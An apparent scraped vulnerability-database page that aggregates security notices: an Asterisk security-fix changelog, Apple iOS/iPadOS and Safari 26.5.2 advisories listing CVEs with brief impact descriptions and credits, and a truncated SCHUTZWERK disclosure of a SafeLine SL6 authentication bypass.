complete Codec2 frames in decoder\n - format_ogg_speex: Add bounds check to prevent heap buffer overflow\n\n- #### Pengpeng Hou (1):\n - app_sms: Bound protocol 1 SMS unpacking to fixed-size buffers\n\n- #### Roberto Paleari (1):\n - res/res_pjsip_pubsub.c: Fix buffer over-read in MWI body parser\n\n- #### ThatTotallyRealMyth (1):\n - ast_loggrabber: Install the ast_tsconvert.py script to a secure temp directory.\n\n### Commit List:\n\n- ast_loggrabber: Install the ast_tsconvert.py script to a secure temp directory.\n- chan_unistim.c: Prevent overrun of phone_number field.\n- ooh323c: not checking for IE minimum length\n- res_ari: Ensure read-only users are properly authorized via REST Over WebSocket.\n- pjsip_message_filter: Use pj_strdup instead of pj_strassign to save local address.\n- ooh323c/ooq931.c: Ensure ooQ931Decode doesn\u0027t run out-of-bounds.\n- ARI: Make ARI applications respect live_dangerously.\n- res_rtp_asterisk.c: Address 2 potential T.140 RED buffer overruns.\n- res/res_pjsip_pubsub.c: Fix buffer over-read in MWI body parser\n- manager: Use remote address in user error logging\n- ooh323: Prevent potential buffer overflow in trace logging\n- app_sms: Bound protocol 1 SMS unpacking to fixed-size buffers\n- res_xmpp: Fix stack buffer overflow in namespace prefix handling\n- res_pjsip_pubsub: Add width limit to sscanf in MWI NOTIFY parser\n- res_config_ldap: Escape LDAP filter values per RFC 4515\n- cel_pgsql, cel_tds: Escape eventtype field to prevent SQL injection\n- http: Escape error page text to prevent reflected XSS\n- codec_codec2: Only process complete Codec2 frames in decoder\n- format_ogg_speex: Add bounds check to prevent heap buffer overflow\n- acl: Add ACL support to http and ari\n- build: Fix GCC discarded-qualifiers const errors.\n\n### Commit Details:\n\n#### ast_loggrabber: Install the ast_tsconvert.py script to a secure temp directory.\n Author: ThatTotallyRealMyth\n Date: 2026-03-19\n\n The ast_tsconvert.py script called by ast_loggrabber is now installed in a\n temporary directory that isn\u0027t world readable or writable.\n\n Resolves: #GHSA-xgj6-2gc5-5x9c\n\n#### chan_unistim.c: Prevent overrun of phone_number field.\n Author: George Joseph\n Date: 2026-06-15\n\n Add a check to key_dial_page() to ensure that dialed digits won\u0027t overrun\n the phone_number field.\n\n Resolves: #GHSA-3g56-cgrh-95p5\n\n#### ooh323c: not checking for IE minimum length\n Author: Mike Bradeen\n Date: 2022-06-06\n\n When decoding q.931 encoded calling/called number\n now checking for length being less than minimum required.\n\n Resolves: #GHSA-h5hv-jmgj-92q2\n\n#### res_ari: Ensure read-only users are properly authorized via REST Over WebSocket.\n Author: George Joseph\n Date: 2026-06-12\n\n The REST over WebSocket path now properly prevents non-GET methods from\n being executed on inbound WebSockets.\n\n * The query parameters from the original incoming GET request that caused the\n upgrade to WebSocket are now passed to all REST requests that come from the\n client. This ensures that if the client authenticated with a read-only\n userid using the \"api_key\" query_string parameter, REST requests coming\n in over the WebSocket will only be able to execute GETs on resources.\n The HTTP headers"
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GCVE-1988-2026-0345
Vulnerability from gna-1988 – Published: 2026-09-11 07:55 – Updated: 2026-09-11 07:55
VLAI
EPSS
VEX
Title
APPLE-SA-06-29-2026-1 iOS 26.5.2 and iPadOS 26.5.2
Summary
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA256
APPLE-SA-06-29-2026-1 iOS 26.5.2 and iPadOS 26.5.2
iOS 26.5.2 and iPadOS 26.5.2 addresses the following issues.
Information about the security content is also available at
https://support.apple.com/en-us/127594.
Apple maintains a Security Releases page at
https://support.apple.com/100100 which lists recent
software updates with security advisories.
IOGPUFamily
Available for: iPhone 11 and later, iPad Pro 12.9-inch 3rd generation
and later, iPad Pro 11-inch 1st generation and later, iPad Air 3rd
generation and later, iPad 8th generation and later, and iPad mini 5th
generation and later
Impact: An app may be able to cause unexpected system termination
Description: A race condition was addressed with improved state
handling.
CVE-2026-43743: Lyutoon, Dun
Kernel
Available for: iPhone 11 and later, iPad Pro 12.9-inch 3rd generation
and later, iPad Pro 11-inch 1st generation and later, iPad Air 3rd
generation and later, iPad 8th generation and later, and iPad mini 5th
generation and later
Impact: An app may be able to cause unexpected system termination or
write kernel memory
Description: The issue was addressed with improved input sanitization.
CVE-2026-43724: Hyunwoo Kim (@v4bel)
Kernel
Available for: iPhone 11 and later, iPad Pro 12.9-inch 3rd generation
and later, iPad Pro 11-inch 1st generation and later, iPad Air 3rd
generation and later, iPad 8th generation and later, and iPad mini 5th
generation and later
Impact: An app may be able to leak sensitive kernel state
Description: The issue was addressed with improved input sanitization.
CVE-2026-43722: Feng Xue and XGPT of ThreatBook, Hyunwoo Kim (@v4bel)
Kernel
Available for: iPhone 11 and later, iPad Pro 12.9-inch 3rd generation
and later, iPad Pro 11-inch 1st generation and later, iPad Air 3rd
generation and later, iPad 8th generation and later, and iPad mini 5th
generation and later
Impact: An app may be able to cause unexpected system termination or
corrupt kernel memory
Description: This issue was addressed with improved input validation.
CVE-2026-39868: Vladislav Shevchenko (Positive Technologies), Ye Zhang
(@VAR10CK) of Baidu Security, Billy Jheng Bing Jhong and Pan Zhenpeng
(@Peterpan0927) of STAR Labs SG Pte. Ltd.
libxslt
Available for: iPhone 11 and later, iPad Pro 12.9-inch 3rd generation
and later, iPad Pro 11-inch 1st generation and later, iPad Air 3rd
generation and later, iPad 8th generation and later, and iPad mini 5th
generation and later
Impact: Processing maliciously crafted web content may lead to an
unexpected process crash
Description: A double free issue was addressed with improved memory
management.
CVE-2026-43706: Tristan Madani (@TristanInSec) from Talence Security
libxslt
Available for: iPhone 11 and later, iPad Pro 12.9-inch 3rd generation
and later, iPad Pro 11-inch 1st generation and later, iPad Air 3rd
generation and later, iPad 8th generation and later, and iPad mini 5th
generation and later
Impact: Processing maliciously crafted web content may lead to an
unexpected process crash
Description: The issue was addressed with improved memory handling.
CVE-2026-43703: Tristan Madani (@TristanInSec) from Talence Security
Web Extensions
Available for: iPhone 11 and later, iPad Pro 12.9-inch 3rd generation
and later, iPad Pro 11-inch 1st generation and later, iPad Air 3rd
generation and later, iPad 8th generation and later, and iPad mini 5th
generation and later
Impact: A malicious web extension may be able to cause an unexpected
process crash
Description: A use-after-free issue was addressed with improved memory
management.
WebKit Bugzilla: 314642
CVE-2026-43704: dr3dd
WebKit
Available for: iPhone 11 and later, iPad Pro 12.9-inch 3rd generation
and later, iPad Pro 11-inch 1st generation and later, iPad Air 3rd
generation and later, iPad 8th generation and later, and iPad mini 5th
generation and later
Impact: Processing maliciously crafted web content may disclose
sensitive user information
Description: A cross-origin issue was addressed with improved tracking
of security origins.
WebKit Bugzilla: 315368
CVE-2026-43700: Vitaly Simonovich, Christian Meurer Xavier
WebKit
Available for: iPhone 11 and later, iPad Pro 12.9-inch 3rd generation
and later, iPad Pro 11-inch 1st generation and later, iPad Air 3rd
generation and later, iPad 8th generation and later, and iPad mini 5th
generation and later
Impact: A malicious website may exfiltrate data cross-origin
Description: The issue was addressed with improved checks.
WebKit Bugzilla: 313357
CVE-2026-43735: Merrick Hare, Drinor Selmanaj (Sentry), Khai Tran, John
Lussier, Rhyru9, Kwak Kiyong, Song Nuri
WebKit
Available for: iPhone 11 and later, iPad Pro 12.9-inch 3rd generation
and later, iPad Pro 11-inch 1st generation and later, iPad Air 3rd
generation and later, iPad 8th generation and later, and iPad mini 5th
generation and later
Impact: Processing maliciously crafted web content may lead to an
unexpected process crash
Description: A use-after-free issue was addressed with improved memory
management.
WebKit Bugzilla: 313693
CVE-2026-43734: Jonathan Alush-Aben
WebKit Bugzilla: 313857
CVE-2026-43726: Josef Korbel (Citadelo), Tristan Madani (@TristanInSec)
from Talence Security, Gia Bui (@yabeow) from Calif.io, Narendra Singh
(@_3P1C)
WebKit Bugzilla: 314398
CVE-2026-43709
WebKit Bugzilla: 317227
CVE-2026-43699: Tommy DeVoss from Braze Security Team (@thedawgyg)
WebKit Bugzilla: 315161
CVE-2026-43742: Юлия Мерцалова
WebKit
Available for: iPhone 11 and later, iPad Pro 12.9-inch 3rd generation
and later, iPad Pro 11-inch 1st generation and later, iPad Air 3rd
generation and later, iPad 8th generation and later, and iPad mini 5th
generation and later
Impact: Processing maliciously crafted web content may disclose
sensitive user information
Description: A path handling issue was addressed with improved
validation.
WebKit Bugzilla: 313085
CVE-2026-43732: Nan Wang (@eternalsakura13)
WebKit
Available for: iPhone 11 and later, iPad Pro 12.9-inch 3rd generation
and later, iPad Pro 11-inch 1st generation and later, iPad Air 3rd
generation and later, iPad 8th generation and later, and iPad mini 5th
generation and later
Impact: Processing maliciously crafted web content may lead to memory
corruption
Description: A use-after-free issue was addressed with improved memory
management.
WebKit Bugzilla: 314115
CVE-2026-43731: dr3dd
WebKit Bugzilla: 313577
CVE-2026-43715: Milad Nasr and Nicholas Carlini with Claude, Anthropic
WebKit
Available for: iPhone 11 and later, iPad Pro 12.9-inch 3rd generation
and later, iPad Pro 11-inch 1st generation and later, iPad Air 3rd
generation and later, iPad 8th generation and later, and iPad mini 5th
generation and later
Impact: Processing maliciously crafted web content may lead to an
unexpected Safari crash
Description: A use-after-free issue was addressed with improved memory
management.
WebKit Bugzilla: 313691
CVE-2026-43727: Tommy DeVoss from Braze Security Team (@thedawgyg), Gia
Bui (@yabeow) from Calif.io, Gurpreet Shergill
WebKit
Available for: iPhone 11 and later, iPad Pro 12.9-inch 3rd generation
and later, iPad Pro 11-inch 1st generation and later, iPad Air 3rd
generation and later, iPad 8th generation and later, and iPad mini 5th
generation and later
Impact: A malicious website may be able to process restricted web
content outside the sandbox
Description: The issue was addressed with improved input validation.
WebKit Bugzilla: 312832
CVE-2026-43725: Luke Francis
WebKit
Available for: iPhone 11 and later, iPad Pro 12.9-inch 3rd generation
and later, iPad Pro 11-inch 1st generation and later, iPad Air 3rd
generation and later, iPad 8th generation and later, and iPad mini 5th
generation and later
Impact: Processing maliciously crafted web content may lead to an
unexpected process crash
Description: The issue was addressed with improved memory handling.
WebKit Bugzilla: 312781
CVE-2026-43663: Soyeon Park, Amy Burnett, Khai Tran, sherkito, Kota
Toda, HexRabbit (@h3xr4bb1t) and NiNi (@terrynini38514) of DEVCORE
Research Team, Using GLM From Z.AI, Tristan Madani (@TristanInSec) from
Talence Security, Brian Carpenter
WebKit Bugzilla: 313528
CVE-2026-39872: Utkarsh Pal, Ignacio Sanmillan (@ulexec)
WebKit Bugzilla: 314235
CVE-2026-43712: Kwak Kiyong, Song Nuri, Tristan Madani (@TristanInSec)
from Talence Security
WebKit
Available for: iPhone 11 and later, iPad Pro 12.9-inch 3rd generation
and later, iPad Pro 11-inch 1st generation and later, iPad Air 3rd
generation and later, iPad 8th generation and later, and iPad mini 5th
generation and later
Impact: Processing maliciously crafted web content may lead to an
unexpected Safari crash
Description: The issue was addressed with improved memory handling.
WebKit Bugzilla: 315047
CVE-2026-43716: Tuan and Duc from Calif.io, OpenAI Codex Security - Amy
Burnett, Evan Lambert
WebKit
Available for: iPhone 11 and later, iPad Pro 12.9-inch 3rd generation
and later, iPad Pro 11-inch 1st generation and later, iPad Air 3rd
generation and later, iPad 8th generation and later, and iPad mini 5th
generation and later
Impact: Processing maliciously crafted web content may lead to an
unexpected Safari crash
Description: An out-of-bounds access issue was addressed with improved
bounds checking.
WebKit Bugzilla: 317231
CVE-2026-43676: Mateusz Krzywicki (iVerify.io), dr3dd, Tommy DeVoss from
Braze Security Team (@thedawgyg)
WebKit
Available for: iPhone 11 and later, iPad Pro 12.9-inch 3rd generation
and later, iPad Pro 11-inch 1st generation and later, iPad Air 3rd
generation and later, iPad 8th generation and later, and iPad mini 5th
generation and later
Impact: Processing maliciously crafted web content may result in the
disclosure of process memory
Description: The issue was addressed with improved memory handling.
WebKit Bugzilla: 308046
CVE-2026-43740: Nathaniel Oh (@calysteon), Arni Hardarson
WebKit
Available for: iPhone 11 and later, iPad Pro 12.9-inch 3rd generation
and later, iPad Pro 11-inch 1st generation and later, iPad Air 3rd
generation and later, iPad 8th generation and later, and iPad mini 5th
generation and later
Impact: Visiting a website may leak sensitive data
Description: A permissions issue was addressed with additional
restrictions.
WebKit Bugzilla: 314806
CVE-2026-43713: Jody Ritonga
WebKit
Available for: iPhone 11 and later, iPad Pro 12.9-inch 3rd generation
and later, iPad Pro 11-inch 1st generation and later, iPad Air 3rd
generation and later, iPad 8th generation and later, and iPad mini 5th
generation and later
Impact: A malicious website may exfiltrate data cross-origin
Description: The issue was addressed with improved input validation.
WebKit Bugzilla: 315306
CVE-2026-43708: Behzad Najjarpour Jabbari (@_G4ru_)
WebKit
Available for: iPhone 11 and later, iPad Pro 12.9-inch 3rd generation
and later, iPad Pro 11-inch 1st generation and later, iPad Air 3rd
generation and later, iPad 8th generation and later, and iPad mini 5th
generation and later
Impact: Processing maliciously crafted web content may lead to an
unexpected process crash
Description: A memory corruption issue was addressed with improved
memory handling.
WebKit Bugzilla: 315951
CVE-2026-43707: OpenAI Codex Security - Amy Burnett
WebKit
Available for: iPhone 11 and later, iPad Pro 12.9-inch 3rd generation
and later, iPad Pro 11-inch 1st generation and later, iPad Air 3rd
generation and later, iPad 8th generation and later, and iPad mini 5th
generation and later
Impact: Processing maliciously crafted web content may lead to memory
corruption
Description: A type confusion issue was addressed with improved checks.
WebKit Bugzilla: 314528
CVE-2026-43705: dr3dd
WebKit
Available for: iPhone 11 and later, iPad Pro 12.9-inch 3rd generation
and later, iPad Pro 11-inch 1st generation and later, iPad Air 3rd
generation and later, iPad 8th generation and later, and iPad mini 5th
generation and later
Impact: A malicious website may be able to process restricted we
Severity
No CVSS data available.
Assigner
References
8 references
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| unknown | APPLE-SA-06-29-2026-1 iOS |
Affected:
unknown
|
Relationships
reference
GCVE-1988-2026-0345 (this record)
- related CVE-2026-28979
- related CVE-2026-39868
- related CVE-2026-39872
- related CVE-2026-43663
- related CVE-2026-43676
- related CVE-2026-43699
- related CVE-2026-43700
- related CVE-2026-43701
- related CVE-2026-43703
- related CVE-2026-43704
- related CVE-2026-43705
- related CVE-2026-43706
- related CVE-2026-43707
- related CVE-2026-43708
- related CVE-2026-43709
- related CVE-2026-43712
- related CVE-2026-43713
- related CVE-2026-43715
- related CVE-2026-43716
- related CVE-2026-43717
- related CVE-2026-43718
- related CVE-2026-43720
- related CVE-2026-43721
- related CVE-2026-43722
- related CVE-2026-43724
- related CVE-2026-43725
- related CVE-2026-43726
- related CVE-2026-43727
- related CVE-2026-43731
- related CVE-2026-43732
- related CVE-2026-43734
- related CVE-2026-43735
- related CVE-2026-43740
- related CVE-2026-43742
- related CVE-2026-43743
- related CVE-2026-43745
- related CVE-2026-43746
{
"containers": {
"cna": {
"affected": [
{
"product": "APPLE-SA-06-29-2026-1 iOS",
"vendor": "unknown",
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"version": "unknown"
}
]
}
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"value": "-----BEGIN PGP SIGNED MESSAGE-----\nHash: SHA256\n\nAPPLE-SA-06-29-2026-1 iOS 26.5.2 and iPadOS 26.5.2\n\niOS 26.5.2 and iPadOS 26.5.2 addresses the following issues.\nInformation about the security content is also available at\nhttps://support.apple.com/en-us/127594.\n\nApple maintains a Security Releases page at\nhttps://support.apple.com/100100 which lists recent\nsoftware updates with security advisories.\n\nIOGPUFamily\nAvailable for: iPhone 11 and later, iPad Pro 12.9-inch 3rd generation\nand later, iPad Pro 11-inch 1st generation and later, iPad Air 3rd\ngeneration and later, iPad 8th generation and later, and iPad mini 5th\ngeneration and later\nImpact: An app may be able to cause unexpected system termination\nDescription: A race condition was addressed with improved state\nhandling.\nCVE-2026-43743: Lyutoon, Dun\n\nKernel\nAvailable for: iPhone 11 and later, iPad Pro 12.9-inch 3rd generation\nand later, iPad Pro 11-inch 1st generation and later, iPad Air 3rd\ngeneration and later, iPad 8th generation and later, and iPad mini 5th\ngeneration and later\nImpact: An app may be able to cause unexpected system termination or\nwrite kernel memory\nDescription: The issue was addressed with improved input sanitization.\nCVE-2026-43724: Hyunwoo Kim (@v4bel)\n\nKernel\nAvailable for: iPhone 11 and later, iPad Pro 12.9-inch 3rd generation\nand later, iPad Pro 11-inch 1st generation and later, iPad Air 3rd\ngeneration and later, iPad 8th generation and later, and iPad mini 5th\ngeneration and later\nImpact: An app may be able to leak sensitive kernel state\nDescription: The issue was addressed with improved input sanitization.\nCVE-2026-43722: Feng Xue and XGPT of ThreatBook, Hyunwoo Kim (@v4bel)\n\nKernel\nAvailable for: iPhone 11 and later, iPad Pro 12.9-inch 3rd generation\nand later, iPad Pro 11-inch 1st generation and later, iPad Air 3rd\ngeneration and later, iPad 8th generation and later, and iPad mini 5th\ngeneration and later\nImpact: An app may be able to cause unexpected system termination or\ncorrupt kernel memory\nDescription: This issue was addressed with improved input validation.\nCVE-2026-39868: Vladislav Shevchenko (Positive Technologies), Ye Zhang\n(@VAR10CK) of Baidu Security, Billy Jheng Bing Jhong and Pan Zhenpeng\n(@Peterpan0927) of STAR Labs SG Pte. Ltd.\n\nlibxslt\nAvailable for: iPhone 11 and later, iPad Pro 12.9-inch 3rd generation\nand later, iPad Pro 11-inch 1st generation and later, iPad Air 3rd\ngeneration and later, iPad 8th generation and later, and iPad mini 5th\ngeneration and later\nImpact: Processing maliciously crafted web content may lead to an\nunexpected process crash\nDescription: A double free issue was addressed with improved memory\nmanagement.\nCVE-2026-43706: Tristan Madani (@TristanInSec) from Talence Security\n\nlibxslt\nAvailable for: iPhone 11 and later, iPad Pro 12.9-inch 3rd generation\nand later, iPad Pro 11-inch 1st generation and later, iPad Air 3rd\ngeneration and later, iPad 8th generation and later, and iPad mini 5th\ngeneration and later\nImpact: Processing maliciously crafted web content may lead to an\nunexpected process crash\nDescription: The issue was addressed with improved memory handling.\nCVE-2026-43703: Tristan Madani (@TristanInSec) from Talence Security\n\nWeb Extensions\nAvailable for: iPhone 11 and later, iPad Pro 12.9-inch 3rd generation\nand later, iPad Pro 11-inch 1st generation and later, iPad Air 3rd\ngeneration and later, iPad 8th generation and later, and iPad mini 5th\ngeneration and later\nImpact: A malicious web extension may be able to cause an unexpected\nprocess crash\nDescription: A use-after-free issue was addressed with improved memory\nmanagement.\nWebKit Bugzilla: 314642\nCVE-2026-43704: dr3dd\n\nWebKit\nAvailable for: iPhone 11 and later, iPad Pro 12.9-inch 3rd generation\nand later, iPad Pro 11-inch 1st generation and later, iPad Air 3rd\ngeneration and later, iPad 8th generation and later, and iPad mini 5th\ngeneration and later\nImpact: Processing maliciously crafted web content may disclose\nsensitive user information\nDescription: A cross-origin issue was addressed with improved tracking\nof security origins.\nWebKit Bugzilla: 315368\nCVE-2026-43700: Vitaly Simonovich, Christian Meurer Xavier\n\nWebKit\nAvailable for: iPhone 11 and later, iPad Pro 12.9-inch 3rd generation\nand later, iPad Pro 11-inch 1st generation and later, iPad Air 3rd\ngeneration and later, iPad 8th generation and later, and iPad mini 5th\ngeneration and later\nImpact: A malicious website may exfiltrate data cross-origin\nDescription: The issue was addressed with improved checks.\nWebKit Bugzilla: 313357\nCVE-2026-43735: Merrick Hare, Drinor Selmanaj (Sentry), Khai Tran, John\nLussier, Rhyru9, Kwak Kiyong, Song Nuri\n\nWebKit\nAvailable for: iPhone 11 and later, iPad Pro 12.9-inch 3rd generation\nand later, iPad Pro 11-inch 1st generation and later, iPad Air 3rd\ngeneration and later, iPad 8th generation and later, and iPad mini 5th\ngeneration and later\nImpact: Processing maliciously crafted web content may lead to an\nunexpected process crash\nDescription: A use-after-free issue was addressed with improved memory\nmanagement.\nWebKit Bugzilla: 313693\nCVE-2026-43734: Jonathan Alush-Aben\nWebKit Bugzilla: 313857\nCVE-2026-43726: Josef Korbel (Citadelo), Tristan Madani (@TristanInSec)\nfrom Talence Security, Gia Bui (@yabeow) from Calif.io, Narendra Singh\n(@_3P1C)\nWebKit Bugzilla: 314398\nCVE-2026-43709\nWebKit Bugzilla: 317227\nCVE-2026-43699: Tommy DeVoss from Braze Security Team (@thedawgyg)\nWebKit Bugzilla: 315161\nCVE-2026-43742: \u042e\u043b\u0438\u044f \u041c\u0435\u0440\u0446\u0430\u043b\u043e\u0432\u0430\n\nWebKit\nAvailable for: iPhone 11 and later, iPad Pro 12.9-inch 3rd generation\nand later, iPad Pro 11-inch 1st generation and later, iPad Air 3rd\ngeneration and later, iPad 8th generation and later, and iPad mini 5th\ngeneration and later\nImpact: Processing maliciously crafted web content may disclose\nsensitive user information\nDescription: A path handling issue was addressed with improved\nvalidation.\nWebKit Bugzilla: 313085\nCVE-2026-43732: Nan Wang (@eternalsakura13)\n\nWebKit\nAvailable for: iPhone 11 and later, iPad Pro 12.9-inch 3rd generation\nand later, iPad Pro 11-inch 1st generation and later, iPad Air 3rd\ngeneration and later, iPad 8th generation and later, and iPad mini 5th\ngeneration and later\nImpact: Processing maliciously crafted web content may lead to memory\ncorruption\nDescription: A use-after-free issue was addressed with improved memory\nmanagement.\nWebKit Bugzilla: 314115\nCVE-2026-43731: dr3dd\nWebKit Bugzilla: 313577\nCVE-2026-43715: Milad Nasr and Nicholas Carlini with Claude, Anthropic\n\nWebKit\nAvailable for: iPhone 11 and later, iPad Pro 12.9-inch 3rd generation\nand later, iPad Pro 11-inch 1st generation and later, iPad Air 3rd\ngeneration and later, iPad 8th generation and later, and iPad mini 5th\ngeneration and later\nImpact: Processing maliciously crafted web content may lead to an\nunexpected Safari crash\nDescription: A use-after-free issue was addressed with improved memory\nmanagement.\nWebKit Bugzilla: 313691\nCVE-2026-43727: Tommy DeVoss from Braze Security Team (@thedawgyg), Gia\nBui (@yabeow) from Calif.io, Gurpreet Shergill\n\nWebKit\nAvailable for: iPhone 11 and later, iPad Pro 12.9-inch 3rd generation\nand later, iPad Pro 11-inch 1st generation and later, iPad Air 3rd\ngeneration and later, iPad 8th generation and later, and iPad mini 5th\ngeneration and later\nImpact: A malicious website may be able to process restricted web\ncontent outside the sandbox\nDescription: The issue was addressed with improved input validation.\nWebKit Bugzilla: 312832\nCVE-2026-43725: Luke Francis\n\nWebKit\nAvailable for: iPhone 11 and later, iPad Pro 12.9-inch 3rd generation\nand later, iPad Pro 11-inch 1st generation and later, iPad Air 3rd\ngeneration and later, iPad 8th generation and later, and iPad mini 5th\ngeneration and later\nImpact: Processing maliciously crafted web content may lead to an\nunexpected process crash\nDescription: The issue was addressed with improved memory handling.\nWebKit Bugzilla: 312781\nCVE-2026-43663: Soyeon Park, Amy Burnett, Khai Tran, sherkito, Kota\nToda, HexRabbit (@h3xr4bb1t) and NiNi (@terrynini38514) of DEVCORE\nResearch Team, Using GLM From Z.AI, Tristan Madani (@TristanInSec) from\nTalence Security, Brian Carpenter\nWebKit Bugzilla: 313528\nCVE-2026-39872: Utkarsh Pal, Ignacio Sanmillan (@ulexec)\nWebKit Bugzilla: 314235\nCVE-2026-43712: Kwak Kiyong, Song Nuri, Tristan Madani (@TristanInSec)\nfrom Talence Security\n\nWebKit\nAvailable for: iPhone 11 and later, iPad Pro 12.9-inch 3rd generation\nand later, iPad Pro 11-inch 1st generation and later, iPad Air 3rd\ngeneration and later, iPad 8th generation and later, and iPad mini 5th\ngeneration and later\nImpact: Processing maliciously crafted web content may lead to an\nunexpected Safari crash\nDescription: The issue was addressed with improved memory handling.\nWebKit Bugzilla: 315047\nCVE-2026-43716: Tuan and Duc from Calif.io, OpenAI Codex Security - Amy\nBurnett, Evan Lambert\n\nWebKit\nAvailable for: iPhone 11 and later, iPad Pro 12.9-inch 3rd generation\nand later, iPad Pro 11-inch 1st generation and later, iPad Air 3rd\ngeneration and later, iPad 8th generation and later, and iPad mini 5th\ngeneration and later\nImpact: Processing maliciously crafted web content may lead to an\nunexpected Safari crash\nDescription: An out-of-bounds access issue was addressed with improved\nbounds checking.\nWebKit Bugzilla: 317231\nCVE-2026-43676: Mateusz Krzywicki (iVerify.io), dr3dd, Tommy DeVoss from\nBraze Security Team (@thedawgyg)\n\nWebKit\nAvailable for: iPhone 11 and later, iPad Pro 12.9-inch 3rd generation\nand later, iPad Pro 11-inch 1st generation and later, iPad Air 3rd\ngeneration and later, iPad 8th generation and later, and iPad mini 5th\ngeneration and later\nImpact: Processing maliciously crafted web content may result in the\ndisclosure of process memory\nDescription: The issue was addressed with improved memory handling.\nWebKit Bugzilla: 308046\nCVE-2026-43740: Nathaniel Oh (@calysteon), Arni Hardarson\n\nWebKit\nAvailable for: iPhone 11 and later, iPad Pro 12.9-inch 3rd generation\nand later, iPad Pro 11-inch 1st generation and later, iPad Air 3rd\ngeneration and later, iPad 8th generation and later, and iPad mini 5th\ngeneration and later\nImpact: Visiting a website may leak sensitive data\nDescription: A permissions issue was addressed with additional\nrestrictions.\nWebKit Bugzilla: 314806\nCVE-2026-43713: Jody Ritonga\n\nWebKit\nAvailable for: iPhone 11 and later, iPad Pro 12.9-inch 3rd generation\nand later, iPad Pro 11-inch 1st generation and later, iPad Air 3rd\ngeneration and later, iPad 8th generation and later, and iPad mini 5th\ngeneration and later\nImpact: A malicious website may exfiltrate data cross-origin\nDescription: The issue was addressed with improved input validation.\nWebKit Bugzilla: 315306\nCVE-2026-43708: Behzad Najjarpour Jabbari (@_G4ru_)\n\nWebKit\nAvailable for: iPhone 11 and later, iPad Pro 12.9-inch 3rd generation\nand later, iPad Pro 11-inch 1st generation and later, iPad Air 3rd\ngeneration and later, iPad 8th generation and later, and iPad mini 5th\ngeneration and later\nImpact: Processing maliciously crafted web content may lead to an\nunexpected process crash\nDescription: A memory corruption issue was addressed with improved\nmemory handling.\nWebKit Bugzilla: 315951\nCVE-2026-43707: OpenAI Codex Security - Amy Burnett\n\nWebKit\nAvailable for: iPhone 11 and later, iPad Pro 12.9-inch 3rd generation\nand later, iPad Pro 11-inch 1st generation and later, iPad Air 3rd\ngeneration and later, iPad 8th generation and later, and iPad mini 5th\ngeneration and later\nImpact: Processing maliciously crafted web content may lead to memory\ncorruption\nDescription: A type confusion issue was addressed with improved checks.\nWebKit Bugzilla: 314528\nCVE-2026-43705: dr3dd\n\nWebKit\nAvailable for: iPhone 11 and later, iPad Pro 12.9-inch 3rd generation\nand later, iPad Pro 11-inch 1st generation and later, iPad Air 3rd\ngeneration and later, iPad 8th generation and later, and iPad mini 5th\ngeneration and later\nImpact: A malicious website may be able to process restricted we"
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{
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"discovery": "EXTERNAL"
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"title": "APPLE-SA-06-29-2026-1 iOS 26.5.2 and iPadOS 26.5.2",
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"destId": "CVE-2026-28979",
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GCVE-1988-2026-0348
Vulnerability from gna-1988 – Published: 2026-09-11 07:55 – Updated: 2026-09-11 07:55
VLAI
EPSS
VEX
Title
SCHUTZWERK-SA-2025-001: Authentication Bypass for SafeLine SL6 and SL6+
Summary
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA512
Authentication Bypass for SafeLine SL6 and SL6+
===============================================
gain unauthorized administrative access to the device configuration.
Metadata
========
* Affected product: SafeLine SL6/SL6+
* Affected version: Introduced in version 4.82, patched in version 4.97
* Vendor: SafeLine
* Problem type(s): CWE-305 Authentication bypass by primary weakness
* CVE ID: CVE-2025-4994
* CVE URL: https://www.cve.org/CVERecord?id=CVE-2025-4994
* CVSS 4.0 score: 8.7
* Advisory URL: https://www.schutzwerk.com/blog/schutzwerk-sa-2025-001/
Details
=======
depending on the "Auto Enable BLE" configuration setting:
by a configurable PIN.
enabled by a reboot.
to the target device and is fully reproducible.
Risk
====
an incident.
Workaround
==========
interface.
Solution/Mitigation
===================
should be applied.
Timeline
========
* 2025-03-28 Vulnerability discovered
* 2025-04-14 Initial contact with vendor
* 2025-04-16 Vulnerability reported to technical support of vendor
* 2025-05-08 Follow-up meeting was canceled by vendor
* 2025-05-16 Initial contact with CTO of vendor
* 2025-05-28 Vulnerability presented to CTO of vendor
* 2025-06-16 Vendor informed SCHUTZWERK that the patch is currently tested
* 2025-07-03 Follow-up meeting was canceled by vendor
* 2025-07-31 Follow-up meeting was requested by SCHUTZWERK
* 2025-08-21 Vendor informed SCHUTZWERK that the patch was postponed
* 2025-08-28 Vendor informed SCHUTZWERK that the patch is currently tested
* 2025-12-19 Vendor informed SCHUTZWERK that the patch was released
scheduled maintenance windows
* 2026-06-19 Advisory released by SCHUTZWERK
Credits
=======
The vulnerability was discovered by Jan Hüber of SCHUTZWERK GmbH
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--
SCHUTZWERK GmbH, Pfarrer-Weiß-Weg 12, 89077 Ulm, Germany
Zertifiziert / Certified ISO 27001, 9001 and TISAX
Phone +49 731 977 191 0
advisories () schutzwerk com / www.schutzwerk.com
Geschäftsführer / Managing Directors:
Jakob Pietzka, Michael Schäfer
Amtsgericht Ulm / HRB 727391
Datenschutz / Data Protection www.schutzwerk.com/datenschutz
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
CWE
Assigner
References
6 references
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| unknown | SCHUTZWERK-SA-2025-001 Authentication Bypass |
Affected:
unknown
|
Relationships
reference
GCVE-1988-2026-0348 (this record)
- related CVE-2025-4994
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GCVE-1988-2026-0347
Vulnerability from gna-1988 – Published: 2026-09-11 07:55 – Updated: 2026-09-11 11:35
VLAI
EPSS
VEX
Title
APPLE-SA-06-29-2026-3 Safari 26.5.2
Summary
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA256
APPLE-SA-06-29-2026-3 Safari 26.5.2
Safari 26.5.2 addresses the following issues.
Information about the security content is also available at
https://support.apple.com/en-us/127685.
Apple maintains a Security Releases page at
https://support.apple.com/100100 which lists recent
software updates with security advisories.
Web Extensions
Available for: macOS Sonoma and macOS Sequoia
Impact: A malicious web extension may be able to cause an unexpected
process crash
Description: A use-after-free issue was addressed with improved memory
management.
WebKit Bugzilla: 314642
CVE-2026-43704: dr3dd
WebKit
Available for: macOS Sonoma and macOS Sequoia
Impact: Processing maliciously crafted web content may disclose
sensitive user information
Description: A cross-origin issue was addressed with improved tracking
